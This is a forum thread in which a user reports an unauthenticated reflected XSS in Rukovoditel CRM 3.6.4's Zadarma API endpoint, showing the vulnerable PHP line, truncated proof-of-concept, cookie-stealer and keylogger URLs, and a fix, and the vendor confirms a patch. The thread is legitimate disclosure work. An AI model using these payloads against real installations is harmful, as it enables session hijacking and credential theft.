Pre-Authenticated Reflected XSS in Rukovoditel CRM v3.6.4 via zd_echo Parameter

Pre-Authenticated Reflected XSS in Rukovoditel CRM v3.6.4 via zd_echo Parameter

by **mothra** » 19 Mar 2026, 07:01

mothra

Posts: 7
Joined: 18 Mar 2026, 21:04
Name: Raximov Shukrulloh
Location: Tashkent

Description

The Zadarma telephony API endpoint reflects user-supplied input directly in the HTTP response body without any HTML encoding, output escaping, or Content-Type restrictions. An unauthenticated attacker can craft a malicious URL that, when visited by any user (including administrators), executes arbitrary JavaScript in their browser context.

Root Cause

CODE: SELECT ALL

```
php
// File: api/tel/zadarma.php, line 1
if (isset($_GET['zd_echo'])) exit($_GET['zd_echo']);
//                                ^^^^^^^^^^^^^^^^^^
// Raw output — no htmlspecialchars(), no Content-Type:
```

The parameter value is echoed verbatim without any sanitization.

Proof of Concept

No login required. Simply open this URL:

https://rukovoditel.cloud/demo/3.6/api/ ...)</script>

Result: JavaScript alert box appears with text `XSS-UNAUTH`.

Weaponized: Session Cookie Stealer

https://TARGET/api/tel/zadarma.php?zd_e ... e</script>

When an administrator clicks this link, their session cookie (`sid`) is sent to the attacker's server, enabling full account takeover.

Weaponized: Keylogger Injection

https://TARGET/api/tel/zadarma.php?zd_e ... }</script>

Impact

- **Session hijacking** — steal admin session cookies to gain unauthorized access
- **Account takeover** — combined with cookie hash leak (see separate report), attackers can permanently compromise accounts
- **Phishing** — render fake login forms to steal credentials
- **Malware distribution** — redirect users to malicious payloads
- **Chain to RCE** — steal admin session → access Custom PHP module → execute arbitrary code

Remediation

CODE: SELECT ALL

```
php
// BEFORE (vulnerable):
if (isset($_GET['zd_echo'])) exit($_GET['zd_echo']);
```

```
// AFTER (fixed):
if (isset($_GET['zd_echo'])) {
    header('Content-Type: text/plain; charset=utf-8');
    exit(htmlspecialchars($_GET['zd_echo'], ENT_QUOTES,
}
```

Re: Pre-Authenticated Reflected XSS in Rukovoditel CRM v3.6.4 via zd_echo Parameter

by **support** » 19 Mar 2026, 12:48

Thank you for noticed about this issue.
Added fixe for next version. And attached here file with fix.
File from archive need to replace to api/tel/zadarma.php

ATTACHMENTS

zadarma.zip
(1.1 KiB) Downloaded 21 times

support
Site Admin

Posts: 5409
Joined: 19 Oct 2014, 18:22
Name: Sergey Kharchishin
Location: Russia, Evpatoriya

Re: Pre-Authenticated Reflected XSS in Rukovoditel CRM v3.6.4 via zd_echo Parameter

by **mothra** » 19 Mar 2026, 16:35

hello okey, when I can request CVE ?

mothra

Posts: 7
Joined: 18 Mar 2026, 21:04
Name: Raximov Shukrulloh
Location: Tashkent

Re: Pre-Authenticated Reflected XSS in Rukovoditel CRM v3.6.4 via zd_echo Parameter

by **mothra** » 23 Mar 2026, 23:46

can i do it ??

mothra

Posts: 7
Joined: 18 Mar 2026, 21:04
Name: Raximov Shukrulloh
Location: Tashkent

Re: Pre-Authenticated Reflected XSS in Rukovoditel CRM v3.6.4 via zd_echo Parameter

by **mothra** » 10 Apr 2026, 19:05

?????

mothra

Posts: 7
Joined: 18 Mar 2026, 21:04
Name: Raximov Shukrulloh
Location: Tashkent

Re: Pre-Authenticated Reflected XSS in Rukovoditel CRM v3.6.4 via zd_echo Parameter

by **support** » 11 Apr 2026, 06:52

> **mothra wrote:** 23 Mar 2026, 23:46
> can i do it ??

Yes, anyway it's fixed in 3.7

support
Site Admin

Posts: 5409
Joined: 19 Oct 2014, 18:22
Name: Sergey Kharchishin
Location: Russia, Evpatoriya

Post Reply

6 posts • Page **1** of **1**

Return to “Bug Report version 3.6.4”

Jump to

ABOUT RUKOVODITEL ‹ **FORUM** Delete cookies All times are UTC+04:00